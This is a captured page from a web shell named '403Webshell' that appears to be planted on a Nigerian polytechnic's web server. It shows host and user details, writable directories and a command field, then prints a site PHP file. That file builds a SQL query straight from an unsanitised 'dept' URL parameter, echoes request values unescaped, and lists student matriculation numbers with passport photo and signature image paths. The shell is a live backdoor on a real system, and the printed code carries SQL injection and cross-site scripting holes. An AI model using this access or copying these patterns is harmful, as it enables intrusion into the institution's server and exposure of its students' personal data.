403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.71.120.136
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/externalCall/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/externalCall/viewPix.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>
<body>
<table width="60%" align="center" cellpadding="0" cellspacing="2">
 <?php
 require('../connect.php');
 $db=db_connect();
 if (isset($_GET['from'])){
     echo $start=$_GET['from'];
     echo $end=$_GET['end'];
     $dept=$_GET['dept'];
 }else{
     $start=1;
     $end=10;
 }
 $sql="select * from realdata where matNo in (select regNo from remitaorder where transapproved='True' and paymentType='School Fees') and course='$dept'";
 $result=$db->query($sql);
  $num=$result->rowCount();
 //$num=100;
// $i=0;

 $i=$start;
 while ($row=$result->fetch(PDO::FETCH_BOTH)) {
     if ($i <= $end) {
         //echo $i;
         ?>
         <tr>
             <td><?php echo $i// $row['sn'];?></td>
             <td><?php echo $row['matNo'];?></td>
             <td><img src="../passport/Reg<?php echo $row['matNo'];?>.jpg" width="140" height="140"/></td>
             <td><img src="../signature/Reg<?php echo $row['matNo'];?>.jpg" width="140" height="140"/></td>
         </tr>
         <?php
         $i += 1;
     }
 }
  ?>
   <tr>
    <td colspan="4"><hr /></td>
  </tr>
  <tr>
    <td colspan="4"><?php echo 'Total Number of Record: '.$num;
	//$num=1000;
	$div=(int)($num/10);
	echo '<br>Number of Pages '.$div;
    echo'  <fieldset>';
	$k2=1;
	for ($k=1;$k<$div+1;++$k){
		 $begin=$k2;
		 $end=$begin+9;
?>
  <a href="viewPix.php?from=<?php echo $begin;?>&end=<?php echo $end;?>&dept=<?php echo $dept;?>"><?php echo 'Page '.$k; $k2=$end+11;?></a>
		<?php
	}
	?>
    </fieldset></td>
  </tr>
</table>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit